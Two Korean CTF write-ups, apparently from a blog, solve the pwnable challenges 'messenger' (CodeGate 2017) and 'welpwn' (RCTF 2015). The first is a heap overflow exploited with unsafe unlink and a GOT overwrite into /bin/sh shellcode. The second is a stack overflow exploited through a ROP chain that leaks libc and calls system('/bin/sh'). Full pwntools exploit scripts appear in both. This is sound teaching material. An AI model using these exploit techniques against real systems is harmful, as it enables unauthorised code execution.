64비트용 바이너리며 ASLR과 카나리만 적용되어있고 nx는 적용되어있지 않다.


실행해보면 메뉴들이 있고 각 메뉴들은 각각의 기능을 한다.


ida로 살펴보자.


main함수다.

각 메뉴의 함수를 보자.

먼저 leave함수다.

size와 msg를 입력받고 커스텀 malloc으로 새로운 메모리를 할당받는다.

커스텀 malloc의 주소는 0x400922다.

그리고 각 메모리에 할당되는 사이즈는32바이트를 넘길 수 없다.


그 다음으론 remove함수다.

remove함수는 할당된 메모리의 인덱스를 입력받아서 해당하는 메모리를 free()해주는 역할을 한다.

여기서도  커스텀 free를 이용해 해제한다.

커스텀 free의 주소는 0x400B2D다.


커스텀 free를 보자.

간략하게 요약하자면

fd + 16 = bk

bk + 8 = fd

이런식이다.


32비트에선 fd + 12이나 64비트이므로 fd + 16이다.


이번엔 change 함수다.

change 함수에선 이미 할당된 메모리에 있는 값을 수정하는 기능을 한다.

미리 말하자면 처음 leave함수에선 size가 32바이트를 넘어가면 메모리 할당을 안해주지만 이 change함수에선 size값을 체크하지 않는다.

이 부분에서 취약점이 터진다.


마지막으로 view함수다.

메모리에 저장된 값을 출력해주는 함수다.


이제 문제를 풀자.

우선 gdb로 bp를 걸고 leave함수부터 봤다.


size에 32를 넣고 msg에 AAAA를 넣은 후 메모리의 상태다.

heap의 시작주소는 0x603000이고 첫번째 할당된 메모리는 0x603018이다.

첫번째 할당된 메모리 청크의 fd와 bk를 보면 각각 fd, bk가 잘 있는것을 확인할 수 있다. 

그리고 두번째 leave함수를 할당해봤다.

size는 똑같이 32에 msg는 BBBB로 주었다.

두번째 청크를 보면 fd와 bk가 또 잘 세팅된 것을 볼 수 있다.

근데 여기서 첫번째 청크를 change함수로 오버플로우를 일으켜서 두번째 청크의 fd와 bk를 조작하면 got overwrite를 통해서 쉘코드를 실행할 수 있다.


익스 과정은 아래와 같다.


1. 첫번째 청크를 오버플로우해 두번째 청크의 fd를 leak해서 heap의 주소를 알아낸다.

2. 오버플로우로 두번째 청크의 fd에 exit@got - 0x10을 넣고 bk에 heap+0xa8을 넣어서 unsafe unlink로 공략. (쉘코드를 heap+0xa8보다 큰 곳에 올려한다.)

3. 첫번째 청크에 오버플로우로 쉘코드를 넣는다.


from pwn import *

def leave(size, msg):
	r.recvuntil(">>")
	r.sendline("L")
	r.recvuntil("size :")
	r.sendline(size)
	r.recvuntil("msg :")
	r.sendline(msg)

def change(index, size, msg):
	r.recvuntil(">>")
	r.sendline("C")
	r.recvuntil("index :")
	r.sendline(index)
	r.recvuntil("size :")
	r.sendline(size)
	r.recvuntil("msg :")
	r.sendline(msg)

def view(index):
	r.recvuntil(">>")
	r.sendline("V")
	r.recvuntil("index :")
	r.sendline(index)

def remove(index):
	r.recvuntil(">>")
	r.sendline("R")
	r.recvuntil("index :")
	r.sendline(index)
	

if __name__ == "__main__":
	shellcode = "\x90"*200
	shellcode += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
	r = process("./messenger")
	e = ELF("./messenger")

	exit_got = e.got['exit']
	log.info("exit@got = {}".format(hex(exit_got)))

	leave("32", "AAAA")
	leave("32", "BBBB")

	payload = "A"*55
	change("0", "100", payload)

	view("0")
	r.recvuntil("\n")
	heap = u64(r.recvuntil("\n")[:-1].ljust(8, "\x00")) - 0xa8
	log.info("heap = {}".format(hex(heap)))

	payload = "a"*56
	payload += p64(exit_got - 0x10)
	payload += p64(heap + 0xa8)
	
	change("0", "100", payload)
	remove("1")

	change("0", "1000", shellcode)
	r.interactive()



'CTF' 카테고리의 다른 글

Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12
RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31

보호기법은 NX만 걸려있고 64비트다.


일단 실행시켜봤다.

처음에 aa를 입력했는데 입력한 문자열을 출력해주는데 자세히 보면 \n 이후에 ??라는 문자열이 출력되었다.

그 다음은 asdf를 입력했는데 이번엔 출력이 되지 않았다. 뭔가 이상한데 일단 ida로 봐야겠다.

ida로 main()함수를 봤는데 read로 1024바이트를 buf에 입력한다.

하지만 buf의 크기는 딱 1024바이트이므로 오버플로우가 일어나지 않는다...


그 다음 echo()함수로 아까 봤듯이 입력한 buf에 있는 값을 출력해주는 것으로 유추된다.

한번 직접 봐야겠다.


보면 s2[16]이라는 변수가 선언되었고 for문으로 buf의 값을 이곳에 이동시킨다.

그리고 printf()로 s2의 값을 출력하면서 종료된다.

일단 이 함수에서 for문을 통해 스택을 오버플로우를 시킬 수 있다.


잘 보면 먼저 main함수의 스택의 맨 위에 있는 AAAAAAAA가 0x7fffffffdf70에 있고 여기에 있던 값이 for문을 통해 0x7fffffffdf50부터 들어간 것이다.

그리고 ret와의 거리는 24바이트가 차이가 난다.

24바이트의 더미를 입력하고 rop를 하면 문제가 풀릴것처럼 보인다.


하지만 결과는..

rbp+0x8부터 그 이후에 가젯과 여러가지 값들이 전부 복사가 안됐다..


왜 그런가 하면 for문에서 null바이트까지만 값을 받기 때문이다..

rop가 불가능한 것이다.

하지만 역시나 똑똑하신 분들의 라업을 보니 이 불필요한 놈들을 pop 시켜버려서 내가 입력한 가젯까지 esp를 이동시키는 대단한 방법을 사용하셨더라..

즉 다시보면 0x7fffffffdf70부터 0x7fffffffdf88까지를 pop시켜버리면 esp가 0x7fffffffdf90까지 이동하고 0x7fffffffdf90부터 ret를 진행하면 rop가 된다!


이제 총 4개의 pop을 해야하므로 rp++로 pop pop pop pop ret가젯을 찾고, 그 주소를 echo()함수의 ret에 들어가게 한다.

그 다음 rop에 필요한 가젯들을 찾는데..

또 난관이 왔다.


pop rdi ; pop rsi ; pop rdx ; ret ;가 없다..


그래서 라업을 보니까 pop rdi와 pop rsi 가젯을 따로따로 찾아서 rop를 진행했더라..

이렇게 한개씩 한개씩 하면 된다. 근데 또 pop rdx ; 가 없는 게 문제다.

그치만 pop rsi ; pop r15 ; ret ; 가젯은 있는데 다른분들은 이 가젯을 이용해서 풀었더라..

이게 어떻게 가능한지 디버깅을 해서 레지스터를 보니 내가 생각한게 맞는지는 모르지만 거의 맞다고 생각된다.(틀린거면 댓글 달아주세요..)

pop rdx를 하지 않았는데 이미 rdx에 어느정도 큰 수의 값이 들어가 있었다.

rdx에 0x7ffff7dd3780라는 어마한 값이 들어가 있다.

즉 140737351858048바이트를 read할 수 있다는 것이다. 어차피 8바이트정도만 필요하지만 어쨋든 작게 설정된 것보단 좋으니 read()함수의 인자는 충분히 채울 수 있다.


exploit code

from pwn import *

r = process("./welpwn_932a4428ea8d4581431502ab7e66ea4b")
elf = ELF("./welpwn_932a4428ea8d4581431502ab7e66ea4b")
print r.recv()

ppppr = 0x40089c
pop_rdi = 0x004008a3
pop_rsi_r15 = 0x004008a1
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
system_offset = 0x2a300 #puts - system
bss = elf.bss()
cmd = "/bin/sh"

payload = "A"*24
payload += p64(ppppr)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(puts_got)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(puts_plt)

r.sendline(payload)
r.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAA")
r.recv(3)
libc_puts = u64(r.recv(6) + "\x00\x00")
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_system = libc_puts - system_offset
log.info("libc_system = {}".format(hex(libc_system)))

r.sendline(p64(libc_system))
r.sendline(cmd)

r.interactive()



'CTF' 카테고리의 다른 글

Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2016 watermelon  (0) 2018.07.26

+ Recent posts